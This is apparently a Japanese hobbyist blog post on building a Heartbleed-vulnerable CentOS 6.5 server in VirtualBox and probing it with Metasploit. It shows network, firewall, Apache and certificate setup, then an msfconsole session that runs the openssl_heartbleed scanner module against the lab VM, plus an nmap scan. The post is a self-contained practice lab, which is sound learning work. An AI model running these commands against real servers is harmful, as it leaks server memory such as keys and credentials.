CentOS6.5+VirtualBoxでHeartbleedなサーバを建ててMetasploitで突っついて遊ぶお話
表題の通りやってみたのでメモ書きとして残しておく。
サーバ構築はほぼ初めてなので色々誤謬があると思いますので話半分でお願いします。
どうやら世間ではVagrantなるものが流行っとるそうですがそんなもの使わず俺はゴリゴリ行くぜー…
1. CentOSのインストール
CentOS6.5 x86_64 minimalをDownload - CentOS Wikiの適当なミラーサーバからDL。僕は関西に住んでるので地理的に近そうなNAISTのhttp://ftp.nara.wide.ad.jp/からDLした。
VirtualBoxでRedHatの64bitで適当な名前の仮想マシンを作る。上記のCentOSのISOイメージを設定からマウントさせて起動する。
途中の設定の注意点はキーボード設定をjp106
、タイムゾーンをAsia/Tokyo
にするのを忘れずに。
後、rootのパスワードは忘れないように。他の設定は適当でもいい。
光学メディア経由で無くハードディスクからハードディスクなので数分と短めの時間で終わった。
2. CentOSの設定
root:さっきのrootパスワード
でrootで入れる。
2.1 ネットワークアダプタ周り
まず、ネットワーク設定をする。デフォルトのままだとアダプタ1がNATになってるので、それは各種インストールが終わるまでそのまま。
ただ、このままだとVirtualBoxのホストOSとの通信が出来ないので、アダプタ2をホストオンリーアダプタにする。その際下に出るMACアドレスを忘れずにメモする。ここではca:fe:ba:be:de:ad:be:af
とでもしておく。
まず、アダプタ1(NAT)に当たっている/etc/sysconfig/network-scripts/ifcfg-eth0
をvi
などで少し書き換える。ONBOOT=yes
にしておくと起動時にonになるので便利。ただしこれはどっちみち後でnoに戻すので毎回# ifup eth0
などで凌いでもいい。
次にアダプタ2(ホストオンリーアダプタ)に当たる/etc/sysconfig/network-scripts/ifcfg-eth1
を作る。上記のifcfg-eth0
をcp
すると楽。内容は以下の様な感じに。IPADDR
はコリジョンしない程度に好きなアドレスに。ca:fe:ba:be:de:ad:be:af
は上記でメモしたMACアドレスに。
なお、本当はこっちもDHCPで割り振りたかったけどそれだとエラーが出たので固定にしている。 また、固定の方がMetasploitなどから指定するときに楽といえば楽。
DEVICE=eth1 HWADDR=ca:fe:ba:be:de:ad:be:af TYPE=Ethernet ONBOOT=yes NM_CONTROLLED=yes BOOTPROTO=static IPADDR=192.168.56.xxx NETMASK=255.255.255.0 NETWORK=192.168.56.0
そして# service network restart
で設定再読み込みかCentOS自体を再起動。これでCentOSからはインターネットへはNATで、VirtualBoxのホストOSへはホストオンリーアダプタでpingが通るはず。また、ホストOSからもCentOSへpingが通るはず。
参考:
2.2 iptables周り
ただし、iptables(ファイアーウォール的なもの)の関係上このままだとApacheを建ててもiptablesで弾かれてアクセス出来ない。
ので、vi /etc/sysconfig/iptables
を書き換えてHTTP(80)、HTTPS(443)を通す。
外部に公開するサーバならSSHの22番を10022番とか違う値に変えたほうがアタックされにくくなっていいのかもしれないけど、今回は実験用で最終的には内部のみで使う予定なのでそのまま。
なお、ファイルの書き換えは元からある-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
の行をyy
でヤンクしてp
asteするのが早い。
# Firewall configuration written by system-config-firewall # Manual customization of this file is not recommended. *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A INPUT -i lo -j ACCEPT # SSH, HTTP, HTTPS -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -A INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -A INPUT -j REJECT --reject-with icmp-host-prohibited -A FORWARD -j REJECT --reject-with icmp-host-prohibited COMMIT
これで# service iptables restart
かCentOS再起動でネットワーク周りはOKなはず。
なお、上記の設定が面倒ならいっそ内部向けと割りきってiptablesを無効にしても良いのかも。
参考:
iptables (ファイアーウォール)の設定 〜 CentOS6 | EasyRamble
3. Apache HTTPdのインストール
ネットワーク周りを上記にまとめたら必然的にこんな場所になったけど、もっと先、例えばNATが有効になった時点で行っても良い。
# yum install -y httpd mod_ssl
そして取り敢えず起動するついでに自動起動をオンにする。
# chkconfig httpd on # service httpd start
取り敢えずホストOSからでもhttp://192.168.56.xxx/とかにアクセスしてみると良い。エラー画面が出たら多分どっかで失敗してるのでトラブルシューティング頑張れ♥頑張れ♥(伊東ライフ先生)
なお、OpenSSLについてはCentOSは元からインストール済みで、6.5の場合ちょうどHeartbleedに脆弱なバージョンだったのでここでは再インストールはしていない。けど多分だけどyumでバージョン指定インストール出来たはず。OpenSSLのバージョンはopenssl version
で確認可能。
Haertbleedに脆弱なOpenSSLのバージョンについては、
以下のバージョンが本脆弱性の影響を受けます。
OpenSSL 1.0.1 から 1.0.1f
OpenSSL 1.0.2-beta から 1.0.2-beta1
つまり0.9.x系とかは脆弱ではないので敢えて脆弱なマシンを作る場合注意? 例えばMetasploitable2なんかは0.9.x系統。
4. HTTPSの設定
OpenSSLで鍵とオレオレ証明証を作る。仮に証明証を格納する場所を/etc/httpd/ssl
とすると
# mkdir /etc/httpd/ssl # cd /etc/httpd/ssl
オレオレ証明書をopensslで作る(詳細版) - ろば電子が詰まっているを参考に
# openssl genrsa 2048 > server.key # openssl req -new -key server.key > server.csr # openssl x509 -days 3650 -req -signkey server.key < server.csr > server.crt # rm server.csr
途中の各項目はオレオレ証明証だし適当でいいと思う。
/etc/httpd/conf.d/ssl.conf
のこの2つの項目を書き換え
SSLCertificateFile /etc/httpd/ssl/server.crt SSLCertificateKeyFile /etc/httpd/ssl/server.key
# service httpd restart
でApacheを再起動してhttps://192.168.56.xxx/にアクセス。証明証の警告は無視して繋いでみる。Firefoxだとどうしても行かせようとしてくれないのでChromeとかで試した方がいい。Apacheのページが出ればOK。
5. Metasploitでexploit
Detecting OpenSSL-Heartbleed with Nmap & Exploiting with Metasploit | CYBER ARMS - Computer Securityを参考に。
$ /path/to/msfconsole バナーがどーん msf > search heartbleed [!] Database not connected or cache not built, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > set RHOSTS 192.168.56.xxx RHOSTS => 192.168.56.xxx msf auxiliary(openssl_heartbleed) > set VERBOSE true VERBOSE => true msf auxiliary(openssl_heartbleed) > run 色々出て楽しい!!✌('ω'✌ )三✌('ω')✌三( ✌'ω')✌
その他
- Nmapは反応が重いので取り敢えず確認なら
$ nmap -p80,443,22,53,123 192.168.56.xxx
みたいにポート指定でするといいと思う。 - インストールが無事終わったら脆弱性を抱えたマシンをインターネットへつなぐのは色々ダメなので
/etc/sysconfig/network-scripts/ifcfg-eth0
のONBOOT
をno
に戻してNAT接続をなるべくしないようにしましょう。というかVirtualBoxの設定からNATインターフェイスを無効にすべきか
追記:
Vagrantだとこんなのあるそうですよ→diracdeltas/heartbox
Sets up a basic Freebsd 10.0 VirtualBox running Apache 2.4 and OpenSSL 1.0.1e-freebsd for playing with heartbleed exploits.